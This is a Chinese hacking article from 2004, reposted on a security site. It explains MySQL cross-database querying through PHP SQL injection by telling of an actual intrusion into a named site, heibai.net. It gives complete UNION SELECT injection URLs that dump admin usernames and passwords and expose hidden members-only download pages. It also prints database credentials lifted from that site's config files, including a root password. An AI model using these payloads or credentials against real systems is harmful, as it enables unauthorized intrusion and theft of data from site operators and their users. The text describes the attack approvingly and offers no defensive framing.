首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>网络安全>文章内容
浅谈MYSQL跨库查询
来源:vfocus.net 作者:vfocus 发布时间:2004-09-23  

浅谈MYSQL跨库查询声明:本文已发表在《黑客X档案》,转载请注明。

  不知道大家有没有碰到这种情况,想获取一个固若金汤的PHP+MYSQL论坛的敏感信息,怎么办?社会工程学?从主机下手?其实大家大可不必如此消极,按照我们web安全爱好者的习惯,再浏览看看站点上的其他资源,如果有其他PHP+MYSQL系统有漏洞,那我们完全可以利用有漏洞的系统注入那个固若金汤的系统,就和从同一网段的脆弱主机入手一个道理,只是这个简单多了。

  其实在这篇文章中,我可以告诉大家,PHP中的注入和ASP中的注入有很大区别的,不像ASP只要没有过滤就基本上都可以注入,但PHP中呢,要么是int类型的变量没有过滤也没有用引号引起来,要么是magic_quotes_gpc关闭,其实只要PHP中的注入可以成功利用,基本就有90%以上的机会可以渗透到主机而非仅仅获取webadmin而已。

  我写的几篇PHP下注入MYSQL的文章中,其实在环境下都是一样的,就是能成功利用,但为什么分开来写,因为在能利用的情况下,有一部分的危害是相当大的,鉴于暑假是学生黑站高峰期,我还是决定9月份开学以后再发表出来,反正这种东西要顾及后果的。

  事情还是由想进入黑白的会员专区说起,因为我看见会员专区有点好玩的东西,但是又没有必要进入服务器要,不就是一个下载地址嘛,我就看中那个“国外最新间谍软件”,很简单的事情不必搞得太复杂,会员专区的所有下载地址居然全部是:

http://www.heibai.net/vip/

  估计这里是障眼法,不管它,看下面的会员登陆框,原来是文章系统的用户登陆入口,采用文章系统来存放会员工具啊,文章那里果然有一个会员专区的分类,黑白的文章系统是ymInfo,既然是和其他站点一起使用的主机,我想应该所有数据表应该都在同一个数据库内,查询一下看看ymInfo的用户表user是不是存在,提交:

http://www.heibai.net/down/show.php?id=5174%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20user

  出错了,居然不存在,难道真的两个WEB程序不使用同一个数据库?先爆下载系统的配置文件出来看看(相关技术请看《Advanced SQL Injection with MySQL》这篇文章),因为夜猫的程序本来就有漏洞,很容易就可以从程序报错得到WEB绝对路径,下载系统的配置文件位置是:

D:\starkun\down\include\config.inc.php

  部分内容如下:

$dbhost = "localhost"; // 数据库主机名 $dbuser = "download";// 数据库用户名$dbpasswd = "kunstar988"; // 数据库密码 $dbname = "download"; // 数据库名

  下载系统是用download数据库,我们再来看看文章系统的,文章系统配置文件的位置是:

D:\starkun\article\include\config.inc.php

  部分内容如下:

$dbhost = "localhost"; // 数据库主机名 $dbuser = "root"; // 数据库用户名 $dbpass = "234ytr8ut"; // 数据库密码 $dbname = "article"; // 数据库名

  原来是真的是不同数据,黑白被我们用这招搞了这么多次了,也知道禁止MYSQL的远程连接了,所以我就查查MYSQL手册看看有什么可以利用的,看了一下,才发现以前漏了一段没有看,手册上这么说:

你可以以 tbl_name (在当前的数据库中) 引用一张表,或以 dbname.tbl_name 明确地指定其个数据。你要以以 col_name、tbl_name.col_name 或 db_name.tbl_name.col_name 引用一个列。 你不需要在一个 SELECT 语句中引用的列前指定 tbl_name 或 db_name.tbl_name 前缀,除非引用列存在二义性。查看章节 6.1.2 数据库、表、索引、列和别名,对于有歧义的列引用需要更加显式的列引用格式。

  也就是说我们可以跨库查询了,按照上面的语句格式,我们先来看看article数据库中是否真的存在ymInfo所使用的数据表,提交:

http://www.heibai.net/down/show.php?id=5174%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20article.user

  呵呵,页面正常返回,存在,其实跨库查询就这么简单,和平常的一样,只是在表名前加入数据库名就可以了,不过我们的事情还没有完呢,我要得到我想要的东西,要获取管理员的资料是很简单的,只要熟悉数据结构,很容易构造:

http://www.heibai.net/down/show.php?id=10000%20union%20select%201,username,1,1,1,1,1,1,1,1,1,password,1,1,1,1,1,1,1%20from%20article.user%20where%20usergroupid=1

  结果如图:

  不过,得到这个没有用,因为程序是采用Session验证,没有办法本地欺骗,还是继续要我们的会员软件的资料吧。

  太多条记录了,怎么才能知道哪个infoid是会员的工具啊?info表里有一个sortid字段是标识记录是属于哪个分类的,我们union一次所有属于sortid=11的记录,看看返回的是什么信息,然后再做下一步打算,提交:

http://www.heibai.net/down/show.php?id=10000%20union%20select%201,title,1,username,1,1,1,1,1,1,1,pagetext,1,1,1,1,1,1,1%20from%20article.info%20where%20sortid=11

  哈哈,居然直接爆出了会员软件的调用页面,的确让我有些吃惊。

  原来黑白的会员专区也是使用夜猫下载1.x.x的,而且是一个全新的下载系统。全部放会员软件,毫无任何验证,只是藏得深一点而已。地址就是:

http://www.heibai.net/****/newdownload

  事情到这里也告一个段落了,文章很简单,完全是没事做写出来娱乐娱乐,有问题请到安全天使论坛或BST论坛找我。





 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·一句话木马
·samcrypt.lib简介
·教你轻松查看QQ空间加密后的好友
·web sniffer 在线嗅探/online ht
·SPIKE与Peach Fuzzer相关知识
·asp,php,aspx一句话集合
·Cisco PIX525 配置备忘
·用Iptables+Fedora做ADSL 路由器
·检查 Web 应用安全的几款开源免
·Md5(base64)加密与解密实战
·NT下动态切换进程分析笔记
·风险评估中的渗透测试
  相关文章
·Loadable Kernel Modules 注射
·无线入侵检测系统
·小议脚本变形
·使用Honeypots 同Internet 蠕虫
·CLR 中代码访问安全检测实现原理
·改mdb为asp所带来的灾难
·线程调度的监视
·用MRTG在IIS 6.0上实现入侵检测
·避免竞争条件
·企业客户端补丁管理框架
·打造Linux下超级安全的LAMP服务
·Transact_SQL小手册,适合初学者
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved